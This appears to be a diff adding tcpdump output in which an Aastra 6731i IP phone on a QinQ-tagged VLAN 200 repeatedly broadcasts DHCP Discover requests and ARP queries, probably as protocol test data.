+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52779, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52794, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969b4f, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52825, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52829, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52836, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52851, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969b4f, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52882, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52893, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52900, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52915, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969ad7, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52947, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52950, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52957, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52973, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969ad7, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53004, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53010, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53018, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53034, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969a5d, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53065, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53068, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53075, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53090, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969a5d, secs 25, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53122, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53134, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53141, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 53156, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x969699e7, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
